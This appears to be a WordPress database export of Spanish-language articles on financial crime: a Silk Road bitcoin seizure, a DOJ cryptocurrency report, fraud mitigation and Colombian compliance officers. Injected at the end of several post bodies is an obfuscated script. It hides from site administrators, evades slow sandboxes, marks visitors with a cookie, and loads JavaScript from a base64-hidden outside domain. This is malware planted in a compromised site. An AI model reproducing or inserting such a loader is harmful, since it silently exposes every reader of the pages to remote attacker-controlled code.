src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var 